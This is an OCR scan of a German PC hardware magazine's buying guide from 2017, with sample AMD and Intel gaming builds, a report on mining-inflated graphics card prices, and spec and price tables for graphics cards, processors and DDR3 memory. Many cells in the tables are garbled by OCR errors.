gebenenfalls den Nachrüstkühler. 
Nimmt man jeweils Einsteiger-Main- 
boards zugrunde und beachtet, dass 
die Ryzen-CPU mit einem kleineren 
Kühler sowie etwas schwächerem 
Netzteil auskommt, landet man 
schnell bei einem Abstand von 350 


Intel Skylake X 


Euro. Innerhalb der Coffee-Lake-S- 
Familie bringt Intel Sechskerner, 
die ohne die teurere X299-Plattform 
eine interessante Alternative dar- 
stellen können. Die 200er-Plattform 
(Z270, H270, B250) mit Kaby Lake S 


ist quasi tot. (mm) 


Komponente 


Hersteller und Produkt 


Preis 


Komponente 


Hersteller und Produkt 


Preis 


Prozessor 


AMD Ryzen 7 1700X 


Sr 


Prozessor 


Intel Core i7-7820X 


€ 540,- 


CPU-Kühler 


Be quiet Pure Rock 


ESCH 


CPU-Kühler 


EKL Alpenföhn Brocken 3 


€45,- 


Grafikkarte (AMD) 


Radeon RX Vega 56 


€ 500,- 


Grafikkarte (AMD) 


Radeon RX Vega 56 


€ 500,- 


Grafikkarte (Nvidia) 


Gigabyte Geforce GTX 1080 Aorus 11G 


ES 


Grafikkarte (Nvidia) 


Gigabyte Geforce GTX 1080 Aorus 11G 


€ 550,- 


Mainboard 


Asus Prime B350-Plus 


Sr 


Mainboard 


MSI X299 Raider 


SI); 


Arbeitsspeicher 


Corsair Vengeance LPX, 2 x 8 GiB, DDR4-3000 


€ 145,- 


Arbeitsspeicher 


Corsair Vengeance LPX, 4 x 4 GiB, DDR4-2666 


€ 145,- 


550 


Crucial MX300 525 GB 


EE 


550 


Crucial MX300 525 GB 


$93 


Netzteil 


Seasonic G-550 PCGH-Edition 550 W 


€ 80,- 


Netzteil 


Seasonic Focus Plus Gold 650 W 


€ 90,- 


Gesamtpreis (ab) € 1.300,- 


AMD Ryzen 7 1700X 

Wie schon oft angesprochen, stellt der 
Ryzen 7 1700X die CPU der Wahl dar, 
wenn man nicht übertakten móchte. 
Der R7 1800X ist für 200 MHz mehr 
Takt unverhältnismäßig teurer, wohin- 
gegen der R7 1700X in Spielen ohne 
Mehrkernoptimierung wegen des ge- 
ringeren Takts etwas schwachbrüstig 
ausfallen kann. 


Geforce GTX 1080 Aorus 11G 

Da die Geforce GTX 1070 wegen der 
Krypto-Miner noch vergleichsweise teu- 
er ist, erscheint die Geforce GTX 1080 
umso interessanter. Gigabyte bietet 
seine Aorus mit 11 Gbps schnellem GD- 
DR5X zum kleinen Aufpreis gegenüber 
der 10G-Variante an. Bei AMD lassen 
die Custom-Designs der RX-Vega-Reihe 
noch auf sich warten. 


Bild: Gigabyte 


Alternativ-Komponenten 


I, Standalone"-Version der Radeon RX Vega 56 bzw. 64 — zwischen- 
durch unter anderem bei Mindfactorys Mindstar gelistet 


I Ryzen 7 1700 
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Gesamtpreis (ab) € 1.650,- 


Intel Core i7-7820X 

Intels Skylake-X ist pro Takt etwas 
schneller als AMDs Ryzen und erreicht 
zulasten der Effizienz höhere Fre- 
quenzen. Dafür kostet die CPU alleine 
ast 200 Euro mehr. Zudem ist ein stär- 
kerer Kühler ratsam, weil die Leistungs- 
aufnahme höher ausfällt und Intel den 
Heatspreader nicht mehr verlötet. Hinzu 
kommt die teurere X299-Plattform. 


MSI X299 Raider 

Das MSI X299 Raider gehört zu den 
günstigsten Sockel-2066-Mainboards, 
bietet aber alles, was der durchschnitt- 
iche Anwender benötigt. Der im Ver- 
gleich zu AMDs X370 und B350 besser 
ausgestattete X299-PCH erlaubt die 
nstallation mehrerer NVMe-SSDs mit 
PCI-Express-3.0-x4-Anbindung. Generell 
ist die Zukunfttauglichkeit höher. 


Alternativ-Komponenten 


I Core i7-8700K mit sechs statt acht Kernen, dafür günstigerer Platt- 
form, sobald verfügbar 


I „Standalone”-Version der Radeon RX Vega 56 bzw. 64 
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Preisentwicklung und Kauftipps 


Einkaufsführer 


Grafikkarten- 
preise schwanken 


Der Grafikkartenmarkt ist aufgrund der Schürfer 
von Krypto-Wàhrungen weiterhin in Aufruhr. Die 
Verfügbarkeit der Radeon RX 580 und RX 570 hat 
sich zwar gebessert, die StraBenpreise liegen aber 
immer noch deutlich über AMDs UVPs. Bei Nvidia 
ist das Bild im Falle der Geforce GTX 1070 àhnlich, 
wohingegen sich die Preissituation bei der GTX 
1080 weitgehend normalisiert hat. 


achdem die Mittelklasse-Grafikkarten Rade- 
N on RX 580, RX 570 und Geforce GTX 1070 
zwischenzeitlich aufgrund der hohen Nachfrage 
von Krypto-Minern kaum bis gar nicht verfügbar 
waren, hat sich die Liefersituation wieder gebes- 
sert. Viele AMD-Custom-Designs sind bei fünf bis 
15 Hàndlern verfügbar, bei der GTX 1070 sind es 
teilweise auch bis zu zwei Dutzend. 


Trotzdem rufen die Händler noch stark erhöhte 
Preise auf. Eine lieferbare Radeon RX 580 mit 8 
GiByte Grafikspeicher kostete zum Redaktions- 
schluss mindestens 340 Euro, eine RX 570/4G 
255 Euro. Zur Erinnerung: AMDs unverbindliche 
Preisempfehlungen belaufen sich auf 259 bezie- 
hungsweise 199 Euro. Eine einzelne Geforce GTX 
1070 war für 400 Euro erhältlich, ansonsten wur- 
den zum Redaktionsschluss 420 Euro und mehr 
fällig. 


Im Falle der Geforce GTX 1080 dürfen sich Inte- 
ressenten auf sinkende Preise freuen. Das güns- 
tigste Modell, Zotacs Mini-Ausführung, kostete 
480 Euro, gefolgt von KFA2s EXOC für 500 Euro. 
Die ,grofsen* Custom-Designs gehen auf die 530, 
550 Euro zu. Nvidias Topmodell in Form der GTX 
1080 Ti wiederum ist 25 Euro und mehr teurer 
geworden, was aufgrund der schlechten Kosten- 
Nutzen-Rechnung aber kaum an den Krypto- 
Schürfern liegen dürfte. 


Interessant wird, wie sich die Preise in den kom- 
menden Wochen entwickeln. Die Gerüchteküche 
geht davon aus, dass Nvidia noch eine Geforce 
GTX 1070 Ti als Gegenstück zu AMDs Radeon 
RX Vega 56 veróffentlichen werde (s. Startseite 
Grafikkarten). Bei so einem kleinen Preisfenster 
müsste der Chiphersteller dafür sorgen, dass die 
GTX 1070 günstiger wird. Ansonsten wird eine 
von beiden obsolet. (mm) 
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Preisentwicklung von Grafikkarten 


Preis in Euro 


Preis in Euro 


400 


380 


360 


340 


320 


300 


280 


260 


240 


750 


700 


650 


600 


550 


500 


450 


400 


Powercolor Radeon 
RX 580 Red Devil 


/ 379,90 Euro 


249,85 Euro _ 
/ 699,00 Euro 
479,59 Euro / 
01.2017 » 082017 


Zeit 
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Bild: Powercolor 


Bild: Zotac 
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Einkaufsführer Grafikkarten 


Preise: Stand 20.09.2017 


WEITE ERPREIS-LEISTUNGS-TIPP 


[ERS Т SPAR-TIPP 


Bewertung auf Basis der aktuellen PCGH-Testmethodik 


638562 NEU 


478147 AT 


Nvidia Geforce Circa- Grafik- 3D-Taktung Verbrauch Länge/ | Benötigte Lautheit Test in PCGH-Preisvergleich 
Preis | speicher (GPU-Boost/RAM) |(2D/3D/Ernstfall) | (Slot-)Breite | Stromstecker | (2D/3D/Ernstfall) PCGH 
MSI GTX 1080 Ti Lightning Z €990,- | 11.264 MiB | 1.911+/1.391 MHz | 20/310/313 Wa 31,9/5,4 cm | 3x 8-Po 0,0/2,0/2,0 Sone 1,47 11/2017 | www.pcgh.de/preis/1649272 
MSI GTX 1080 Ti Gaming X 11G €800,- | 11.264 MiB | 1.810+/1.377 MHz | 15/280/283 Wa 27,8/4,5 cm | 2x 8-Po 0,0/1,9/1,9 Sone 1,53 06/2017 | www.pcgh.de/preis/1599330 
Gigabyte GTX 1080 Ti Aorus Xtr. Ed. | € 830,- | 11.264 MiB | 1.747+/1.404 MHz | 18/251/252 Wa 29,3/5,5 ст | 2x 8-Po 0,0/1,7/1,8 Sone 1,53 06/2017 | www.pcgh.de/preis/1598560 
Asus GTX 1080 Ti Strix OC (0116) | €800,- | 11.264 MiB | 1.823+/1.377 MHz | 16/276/277 Wa 30,0/46 ст | 2x 8-Po 0,0/2,2/2,2 Sone 1,54 06/2017 | www.pcgh.de/preis/1587607 
Inno 3D GTX 1080 Ti iChill ХЗ Ultra | € 720,- | 11.264 МІВ | 1.835+/1.426 MHz | 14/272/273 Wa 30,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,8/1,8 Sone 1,54 06/2017 | www.pcgh.de/preis/1591589 
Zotac GTX 1080 Ti AMP! Extreme | € 900,- | 11.264 МІВ | 1.898+/1.400 MHz | 16/319/326 Wa 31,0/5,3 cm | 2x 8-Po 0,0/3,6/3,6 Sone 4,55 06/2017 | www.pcgh.de/preis/1593440 
EVGA GTX 1080 Ti FTW3 Gaming | € 820,- | 11.264 MiB | 1.823+/1.377 MHz | 16/290/290 Wa 30,1/3,5cm | 2x 8-Po 0,0/2,6/3,5 Sone 1,57 08/2017 | www.pcgh.de/preis/1595665 
KFA2 GTX 1080 Ti EXOC €800,- | 11.264 МІВ | 1.709+/1.377 MHz | 13/253/254 Wa 27,8/3,4 cm x 8-/1x 6-Pol | 0,0/1,4/1,5 Sone 1,62 08/2017 | www.pcgh.de/preis/1602039 
Palit GTX 1080 Ti Super Jetstream | Є 780,- | 11.264 МІВ | 1.709+/1.377 MHz | 16/252/255 Wa 28,5/5,3 cm | 2x 8-Po 0,0/1,9/1,9 Sone 1,63 08/2017 | www.pcgh.de/preis/1599327 
MSI GTX 1080 Ti Armor OC 11G € 750,- | 11.264 MiB | 1.797+/1.377 MHz | 14/282/283 Wa 27,8/3,5 cm | 2х 8-Po 0,0/4,0/4,0 Sone 1,64 08/2017 | www.pcgh.de/preis/1599331 
EVGA GTX 1080 Ti SC2 € 760,- | 11.264 MiB | 1.734+/1.377 MHz | 14/251/255 Wa 27,0/3,5 cm x 8-/1x 6-Pol | 0,0/3,4/4,4 Sone 1,64 08/2017 | www.pcgh.de/preis/1595663 
Zotac GTX 1080 Ti Mini €690,- | 11.264 MiB | 1.709+/1.377 MHz | 14/252/255 Wa 21,1/3,5 cm | 2x 8-Po 1,6/4,0/4,0 Sone 1,68 11/2017 | www.pcgh.de/preis/ 
Zotac GTX 1080 AMP! Extreme € 590,- | 8.192 MiB 1.987+/1.350 MHz | 10/259/275 Wa 31,2/5,0 cm | 2x 8-Po 0,0/1,7/1,9 Sone 1,82 08/2016 | www.pcgh.de/preis/1449220 
Gainward GTX 1080 Phoenix GLH | € 590,- | 8.192 MiB 1.911+/1.315 MHz | 8/219/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,84 08/2016 | www.pcgh.de/preis/1456253 
Palit GTX 1080 Game Rock Prem. | € 580,- | 8.192 MiB 1.911+/1.315 MHz | 8/220/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,86 08/2016 | www.pcgh.de/preis/1449283 
EVGA GTX 1080 FTW ACX 3.0 € 590,- | 8.192 MiB 1.936+/1.251 MHz | 12/237/247 Wa 27,3/3,5 cm | 2x 8-Po 0,0/2,4/2,4 Sone 1,86 08/2016 | www.pcgh.de/preis/1449255 
MSI GTX 1080 Gaming X 8G € 580,- | 8.192 MiB 1.886+/1.251 MHz | 13/235/245 Wa 27,713,5 cm x 8-/1x 6-Pol | 0,0/2,3/2,3 Sone 1,90 08/2016 | www.pcgh.de/preis/1449271 
Palit GTX 1070 Game Rock Prem. | € 540,- | 8.192 MiB 1.936+/4.253 MHz | 9/171/174 Watt 28,5/5,2 cm x 8-Ро 0,0/0,8/0,8 Sone 2,06 08/2016 | www.pcgh.de/preis/1456802 
Zotac GTX 1070 AMP! Extreme € 480,- | 8.192 MiB 1.987+/4.104 MHz | 12/219/253 Wa 31,2/5,0 cm | 2x 8-Po 0,0/1,6/1,9 Sone 2,07 09/2016 | www.pcgh.de/preis/1456755 
Inno 3D GTX 1070 iChill X3 € 480,- | 8.192 MiB 1.949+/4.104 MHz | 10/190/192 Wa 30,2/4,5 cm x 8-Po 0,0/1,5/1,5 Sone 2,09 09/2016 | www.pcgh.de/preis/1450744 
Asus GTX 1070 Strix OC (08G) € 500,- | 8.192 MiB 1.911+/4.007 MHz | 8/166/167 Watt 29,9/3,5 cm x 8-Po 0,0/1,8/1,8 Sone 2,11 08/2016 | www.pcgh.de/preis/1450613 
MSI GTX 1070 Gaming X 8G € 520,- | 8.192 MiB 1.924+/4.007 MHz | 11/208/208 Wa 27,7/3,5 cm x 8-/1x 6-Pol | 0,0/1,4/1,4 Sone 2,13 08/2016 | www.pcgh.de/preis/1456552 
Gigabyte GTX 1060 Xtr. Ed. 9Gbps | € 340,- | 6.144 MiB 1.974+/4.514 MHz | 12/148/149 Wa 28,0/5,5 cm x 8-Po 0,0/1,1/1,1 Sone 2,44 07/2017 | www.pcgh.de/preis/1613097 
Asus GTX 1060 Strix OC (06G) € 350,- | 6.144 MiB 1.987+/4.104 MHz | 8/145/145 Watt 30,0/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,45 0/2016 | www.pcgh.de/preis/1478721 
Zotac GTX 1060 AMPI+ € 390,- | 6.144 MiB 1.860+/4.514 MHz | 9/121/121 Watt 21,2/3,4 cm x 6-Po 0,0/1,0/1,0 Sone 2,47 07/2017 | www.pcgh.de/preis/1605045 
MSI GTX 1060 Gaming X 6G € 340,- | 6.144 MiB 1.949+/4.007 MHz | 8/146/146 Watt 27,7[3,5 cm x 8-Po 0,0/0,7/0,7 Sone 2,47 0/2016 | www.pcgh.de/preis/1478791 
Asus GTX 1060 Strix O6G-9Gbps € 420,- | 6.144 MiB 1.911+/4.514 MHz | 9/132/132 Watt 21,7/3,5 cm x 6-Po 0,0/1,4/1,4 Sone 2,48 07/2017 | www.pcgh.de/preis/1612603 
Zotac GTX 1060 AMP! € 290,- | 6.144 MiB 1.848+/4.007 MHz | 9/121/123 Watt 21,1/3,4 cm x 8-Po 0,0/1,0/1,0 Sone 2,50 0/2016 | www.pcgh.de/preis/ 
Gigabyte GTX 1060 G1 Gaming € 330,- | 6.144 MiB 1.962+/4.007 MHz | 9/153/153 Watt 27,9/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,51 0/2016 | www.pcgh.de/preis/1479045 
Gainward GTX 1060 Phoenix GS € 310,- | 6.144 MiB 1.860+/4.007 MHz | 6/124/125 Watt 24,6/4,8 cm x 6-Po 0,0/1,4/1,4 Sone 2,53 0/2016 | www.pcgh.de/preis/1478764 
Palit GTX 1060 Super Jetstream € 320,- | 6.144 MiB 1.860+/4.007 MHz | 6/123/125 Watt 24,8/4,8 cm x 6-Po 0,0/1,3/1,3 Sone 2,55 0/2016 | www.pcgh.de/preis/1478641 
EVGA GTX 1060 SC Gaming € 320,- | 6.144 MiB 1.898+/4.007 MHz | 6/122/125 Watt 18,2/3,5 cm x 6-Po 0,0/2,5/2,5 Sone 2,58 0/2016 | www.pcgh.de/preis/1479077 
Gigabyte GTX 1050 Ti G1 Gaming | € 175,- | 4.096 MiB 1.645+/3.504 MHz | 8/67/68 Watt 22,0/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,89 01/2017 | www.pcgh.de/preis/1526013 
EVGA GTX 1050 Ti SC Gaming € 170,- | 4.096 MiB 1.557+/3.504 MHz | 6/56/59 Watt 15,2/3,5 cm 0,2/0,4/0,4 Sone 2,96 01/2017 | www.pcgh.de/preis/1525248 
Asus GTX 1050 Expedition € 130,- | 2.048 MiB 1.493+/3.504 MHz | 6/55/55 Watt 21,1/3,5 cm 0,0/0,5/0,5 Sone 3,15 01/2017 | www.pcgh.de/preis/1525209 
AMD Radeon ° И И n p te к= AME 
AMD RX Vega 64 (Air) ** € 600,- | 8.192 MiB 1.401+/945 MHz 15/289/290 Wa 26,7/3,5 cm | 2x 8-Pol 0,2/4,9/4,9 Sone 2,19 10/2017 | www.pcgh.de/preis/1664779 
AMD RX Vega 56 ** € 400,- | 8.192 MiB 1.138+/800 MHz 15/216/218 Wa 26,7/3,5 cm | 2x 8-Pol 0,2/4,9/4,9 Sone 2,33 10/2017 | www.pcgh.de/preis/1682126 
AMD R9 Fury X ** 4.096 MiB 1.050/500 MHz 21/346/385 Wa 19,5/3,3 cm | 2x 8-Pol 1,3/1,6/1,6 Sone 2,47 09/2015 Nicht lieferbar 
Sapphire RX 580 Nitro+ Limited Ed. 8.192 MiB 1.380+/4.000 MHz | 16/215/233 Wa 26,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,5/1,7 Sone 2,56 07/2017 | www.pcgh.de/preis/1610153 
Powercolor RX 580 Red Devil GS € 370,- | 8.192 MiB 1.420+/4.000 MHz | 13/240/246 Wa 24,1/5,1 cm x 8-/1x 6-Pol | 0,0/1,9/2,5 Sone 2,56 07/2017 | www.pcgh.de/preis/1609947 
Gigabyte RX 580 Aorus XTR 8G € 420,- | 8.192 MiB 1.410+/4.000 MHz | 18/268/269 Wa 27,6/5,4 cm x 8-/1x 6-Pol | 0,0/2,1/2,1 Sone 2,57 07/2017 | www.pcgh.de/preis/1610162 
MSI RX 580 Gaming X 8G € 400,- | 8.192 MiB 1.320+/4.000 MHz | 16/205/210 Wa 27,5/3,5 cm x 8-Ро 0,0/2,0/2,3 Sone 2,59 07/2017 | www.pcgh.de/preis/1609960 
Asus RX 580 Strix TOP (T8G) € 420,- | 8.192 MiB 1.405+/4.000 MHz | 14/222/226 Wa 30,0/4,5 cm x 8-Po 0,0/3,5/3,5 Sone 2,59 07/2017 | www.pcgh.de/preis/1610032 
MSI RX 480 Gaming X 8G 8.192 MiB 1.303/4.000 MHz 18/209/225 Wa 27,5/3,5 cm x 8-Po 0,0/2,2/2,4 Sone 2,60 10/2016 Nicht lieferbar 
Sapphire RX 480 Nitro+ OC 8GB 8.192 MiB 1.300+/4.000 MHz | 14/215/230 Wa 24,0/3,5 cm x 8-Po 0,0/5,4/6,6 Sone 2,61 10/2016 Nicht lieferbar 
Sapphire RX 570 Nitro+ 8GD5 € 330,- | 8.192 MiB 1.320+/3.500 MHz | 15/202/221 Wa 26,0/3,8 cm x 8-/1x 6-Pol | 0,0/1,0/1,7 Sone 2,63 07/2017 | www.pcgh.de/preis/1610158 
Powercolor RX 480 Red Devil 8.192 MiB 1.190+/4.000 MHz | 18/199/200 Wa 30,0/3,5 cm x 8-Pol 0,0/2,3/2,3 Sone 2,64 10/2016 Nicht lieferbar 
Sapphire RX 480 Nitro-- 4D5 OC 4.096 MiB 1.306/3.500 MHz 14/207/220 Wa 24,0/3,5 cm x 8-Po 0,0/4,2/5,0 Sone 2,70 10/2016 Nicht lieferbar 
Sapphire RX 470 Nitro+ 4D5 OC 4.096 MiB 1.220+/3.500 MHz | 15/195/209 Wa 24,0/3,5 cm x 8-Po 0,0/2,5/2,7 Sone 2,73 01/2017 Nicht lieferbar 
Asus RX 580 Dual 04G € 330,- | 4.096 MiB 1.260+/3.500 MHz | 14/181/185 Wa 24,1/3,5 cm x 8-Po 0,0/4,1/4,1 Sone 2,75 07/2017 | www.pcgh.de/preis/1610054 
Powercolor RX 570 Red Devil € 300,- | 4.096 MiB 1.320/3.500 MHz 13/225/260 Wa 30,0/3,5 cm x 8-Ро 0,0/2,7/5,2 Sone 2,78 07/2017 | www.pcgh.de/preis/1609990 
Powercolor RX 470 Red Devil 4.096 MiB 1.125+/3.500 MHz | 17/174/182 Wa 24,0/3,5 cm x 8-Ро! 0,0/4,6/4,7 Sone 2,84 01/2017 Nicht lieferbar 
Sapphire RX 570 Pulse ITX € 310,- | 4.096 MiB 1.130+/3.500 MHz | 13/144/147 Wa 17,0/3,5 cm x 6-Ро 0,0/0,9/1,2 Sone 2,84 07/2017 | www.pcgh.de/preis/1610160 
Asus RX 470 Strix OC 4.096 MiB 1.050+/3.300 MHz | 16/146/151 Wa 24,2/3,5 cm x 6-Po 0,0/3,2/3,6 Sone 2,85 01/2017 Nicht lieferbar 
Asus RX 460 Strix 04G 4.096 MiB 1.225+/3.500 MHz | 9/98/105 Watt 19,5/3,5 cm x 6-Po 0,0/1,6/1,6 Sone 3,14 01/2017 Nicht lieferbar 


* Wegen des anhaltenden Mining-Booms sind die meisten Modelle nur zu stark überhöhten Preisen lieferbar ** Beliebige Referenzkarte, bis auf die Beigaben sind alle gleich. Sapphire-Karten: Sofern verfügbar, wurde die Full-Retail-Version getestet. 
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WELT ER PREIS-LEISTUNGS-TIPP 


ШШ fT SPAR-TIPP 


Prozessoren (Auswahl bereits getesteter Modelle) 


AMD-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max) | Sockel | Wertung | Test in 
AMD Ryzen TR 1950X | Ca. € 955,- | 75,3 96/100 % | 52/335/286/255 16c/32t | - 3,4 GHz + Turbo | 14nm | DDR4-2667 | TRA 1,84 10/2017 | www.pcgh.de/preis/1664849 
AMD Ryzen TR 1920X | Ca. € 765,- | 73,8 %/88,8 % | 52/326/279/246 12c/24t | - 3,5 GHz + Turbo | 14nm | DDR4-2667 | TRA 199 10/2017 | www.pcgh.de/preis/1664904 
AMD Ryzen 7 1800X | Ca. € 440,- | 77,2 %/71,0 % | 28/326/264/182 8dl6t |- 3,6 GHz + Turbo | 14 пт | DDR4-2667 | AM4 2,02 | 05/2017 | www.pcgh.de/preis/1582191 
AMD Ryzen 7 1700X | Са. € 330,- | 74,4 %/67,4 % | 28/315/256/169 8c/16t |- 3,4 GHz + Turbo 4nm | DDR4-2667 | AM4 2,10 | 05/2017 | www.pcgh.de/preis/1582190 
AMD Ryzen TR 1900X | Ca. € 530,- | 74,4 %/73,5 % | 51/344/289/238 8c/16t |- 3,8 GHz + Turbo 4nm | DDR4-2667 | TRA 2,17 11/2017 | www.pcgh.de/preis/1681714- NEU. 
AMD Ryzen 7 1700 | Са. € 295- | 71,3 %/62,8 % | 28/296/244/157 8c/16t |- 3,0 GHz + Turbo 4nm | DDR4-2667 | AM4 2,19 | 05/2017 | www.pcgh.de/preis/1582201 
AMD Ryzen 5 1600X | Ca. € 225,-  |75,7 %/58,6 % | 28/317/261/166 6c/12t 3,6 GHz + Turbo 4nm | DDR4-2667 | AM4 2,19 | 06/2017 | www.pcgh.de/preis/1604881 
AMD Ryzen 5 1500X | Ca. € 175,- | 68,2 %/43,6 % | 28/275/244/137 Act 3,5 GHz + Turbo 4nm | DDR4-2667 | AM4 2,29 | 06/2017 | www.pcgh.de/preis/1604878 
AMD Ryzen 5 1600 | Ca. €200,- |72,1 %/54,8 % | 30/303/252/149 6c/12t 3,2 GHz + Turbo 4nm |DDR4-2667 | AM4 2,49 | 07/2017 | www.pcgh.de/preis/1604879 AT 
AMD Ryzen 5 1400 | Ca. € 155,- | 59,8 %/38,1 % | 29/258/232/126 Aci8t 3,2 GHz + Turbo 4nm | DDR4-2667 | AM4 2,70 | 07/2017 | www.pcgh.de/preis/1604876 
AMD Ryzen 3 1300X | Ca. € 120, | 56,1 %/33,0 % | 29/246/231/132 Ше 3,4 GHz + Turbo 4nm | DDR4-2667 | AM4 2,86 10/2017 | www.pcgh.de/preis/1663154 
AMD Ryzen 3 1200 | Ca. € 100,- | 50,6 %/29,1 % | 29/230/218/117 4cl4t 3,1 GHz + Turbo 4nm |DDR4-2667 | AM4 2199 10/2017 | www.pcgh.de/preis/1663145 
AMD FX-9590 Ca. Є 145,- | 57,1 %/39,8 % | 40/441/383/309 4т/8ї |- 4,7 GHz + Turbo | 32 пт | DDR3-1866 | AM3+ 3,08 | 03/2016 | www.pcgh.de/preis/973468 
Intel-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel | Wertung | Test in 
ntel Core i9-7900X | Са. Є 915,- | 93,4 %/94,1 % | 31/396/294/231 10c/20t 3,3 GHz + Turbo | 14nm | DDR4-2667 | 2066 1,53 | 08/2017 | www.pcgh.de/preis/1632795 
ntel Core 17-7820Х | Са. Є 525,- | 90,7 %/84,8 % | 31/378/292/201 8c/16t 3,6 GHz + Turbo |14пт | DDR4-2667 | 2066 1,67 | 09/2017 | www.pcgh.de/preis/1632796 
ntel Core i7-6950X | Са. € 1.485,- | 96,1 %/84,0 % | 50/370/288/184 10c/20t | - 3,0 GHz + Turbo | 14nm | DDR4-2400 | 2011-3 1,74 | 07/2016 | www.pcgh.de/preis/1394456 
ntel Core i7-7740X | Ca. € 320,- 100 %/57,1 % | 18/315/269/148 4/81 4,3 GHz + Turbo | 14 пт | DDR4-2667 |2066 1,77 | 08/2017 | www.pcgh.de/preis/1632798 
ntel Core 17-7700К | Ca. €320,- | 94,3 %/55,3 % | 19/320/275/145 4cd8t | НО 630 4,2 GHz + Turbo | 14nm | DDR4-2400 | 115 1,81 02/2017 | www.pcgh.de/preis/1551097 
ntel Core i7-6900K | Ca. €890,- | 93,1 %/77,0 % | 50/349/291/186 8c/16t |- 3,2 GHz + Turbo |14пт | DDR4-2400 | 2011-3 1,90 | 07/2016 | www.pcgh.de/preis/1394462 
ntel Core i7-6700K | Ca. €300,- 87,8 %/51,4 % | 21/302/256/126 4cd8t | HD 530 4,0 GHz + Turbo |14пт | DDR4-2133 | 115 1,94 | 03/2016 | www.pcgh.de/preis/1290371 
ntel Core i7-7800X | Са. €350,- | 85,8 %/66,3 % | 31/345/280/177 6/12 3,5 GHz + Turbo | 14 пт | DDR4-2400 |2066 1,96 | 09/2017 | www.pcgh.de/preis/1632797 
ntel Core 17-5775С | Ca. € 425,- | 91,9 %/46,9 % | 19/287/252/120 4d8 ris Pro 6200 | 3,3 GHz + Turbo | 14 пт | DDR3(L-1600 | 1150 1,99 | 03/2016 | www.pcgh.de/preis/1275291 
ntel Core i7-5960X | Са. € 1.060,- | 85,1 %/69,0 % | 49/364/286/202 8dl6t |- 3,0 GHz + Turbo |22nm | DDR4-2133 | 2011-3 2,14 | 03/2016 | www.pcgh.de/preis/1121089 
ntel Core i7-6800K Са. Є 315,- | 85,9 %/59,9 % | 49/344/282/170 6c/12t |- 3,4 GHz + Turbo |14пт | DDR4-2400 | 2011-3 2,23 | 08/2016 | www.pcgh.de/preis/1394467 
ntel Core i7-4790K | Ca. €360,- | 78,4 %/48,9 % | 18/320/261/134 4d8 HD 4600 4,0 GHz + Turbo |22nm | DDR3-1600 | 1150 2,29 | 03/2016 | www.pcgh.de/preis/1119923 
ntel Core 17-5820К | Ca. €375,- | 82,9 %/56,2 % | 46/340/278/176 6c/12t | - 3,3 GHz + Turbo |22nm | DDR4-2133 | 2011-3 2,30 | 03/2016 | www.pcgh.de/preis/1121100 
ntel Core i5-7600K Са. Є 215,- | 73,7 %/41,2 % | 19/262/238/112 Act | НО 630 3,8 GHz + Turbo | 14 пт | 0084-2400 | 115 2,30 | 02/2017 | www.pcgh.de/preis/1551201 
ntel Core i5-5675C Ca.€275,- | 75,3 %/36,1 % | 17/245/228/107 40/4] ris Pro 6200 | 3,1 GHz + Turbo | 14 пт | DDR3(L)-1600 | 1150 2,40 *** | www.pcgh.de/preis/1275321 
ntel Core i5-6600K | Са. €215,- | 64,4 %/37,6 % | 22/245/225/109 4d8 HD 530 3,5 GHz + Turbo | 14nm | DDR4-2133 | 115 2,53 | 03/2016 | www.pcgh.de/preis/1290376 
ntel Core i7-3770K | Ca. Є 370,- | 67,7 %/39,3 % | 25/267/235/123 4d8 HD 4600 3,5 GHz + Turbo | 22nm | DDR3-1600 | 1155 2,63 | 03/2016 | www.pcgh.de/preis/761779 
ntel Core 15-7500 Са. € 180,- | 69,3 %/37,5 % | 18/242/224/99 4d4 HD 630 3,4 GHz + Turbo | 14nm | DDR4-2400 | 115 2,64 | 04/2017 | www.pcgh.de/preis/1554205 
ntel Core i3-7350K | Ca. € 145,- | 62,9 %/29,3 % | 19/230/218/108 2d4 HD 630 4,2 GHz 14 пт | DDR4-2400 | 115 2,66 | 03/2017 | www.pcgh.de/preis/1557508 
ntel Core i5-4690K | Ca. € 255,- | 62,6 %/35,5 % | 18/256/229/123 4d4 HD 4600 3,5 GHz + Turbo | 22 пт | DDR3-1600 | 1150 2,74 -*** — www.pcgh.de/preis/1119925 
ntel Core i5-7400 Ca. € 160,- | 64,9 %/34,9 % | 18/232/216/94 4d4 HD 630 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 115 2,74 | 04/2017 | www.pcgh.de/preis/1553204 
ntel Pentium 64560 | Ca. € 85,- 52,8 %/23,1 % | 19/210/201/99 2d4 HD 610 3,5 GHz 14 пт | DDR4-2400 | 1151 3,25 | 03/2017 www.pcgh.de/preis/1558362 ТҮҢ 

* Normierte, gewichtete Leistung in Spielen/Anwendungen ** Gesamtes System in Watt (Leerlauf ohne Grafikkarte/Crysis 3/@ Spiele/ð Anwendungen) *** Nachgetestet ohne Heftartikel 
DDR3 Produktnummer Preis Speichertyp Latenzen Aufbau*** | Höhe | Spannung | Wertung | Test in PCGH-Preisvergleich 
G.Skill Trident X F3-1600C7D-16GTX Ca. € 140,- | 2 х 8 GiByte DDR3-1600 | 7-8-8-24 Dual-Rank | 5,4 ст | 1,65 Vo 2,39 | 06/2015 | www.pcgh.de/preis/855480 Hhriäunre 
Kingston Hyper X Savage HX321C11SRK2/16 Са. € 160,- | 2 x 8 GiByte DDR3-2133 | 11-12-12-30 | Dual-Rank | 3,4 cm | 1,60 Vo 2,47 | 06/2015 | www.pcgh.de/preis/1160242 
Ballistix Tactical BLT2CP8G3D1869DT1TXOEU Са. € 140,- |2x 8 GiByte DDR3-1866 | 9-9-9-27 Dual-Rank | 3,6 ст | 1,50 Vol 2,52 | 08/2014 | www.pcgh.de/preis/1037301 
G.Skill Trident X F3-2400C10D-16GTX Са. € 160,- | 2 x 8 GiByte DDR3-2400 | 10-12-12-31 | Dual Rank | 5,4 cm | 1,65 Vo 2,54 | 09/2013 | www.pcgh.de/preis/764621 
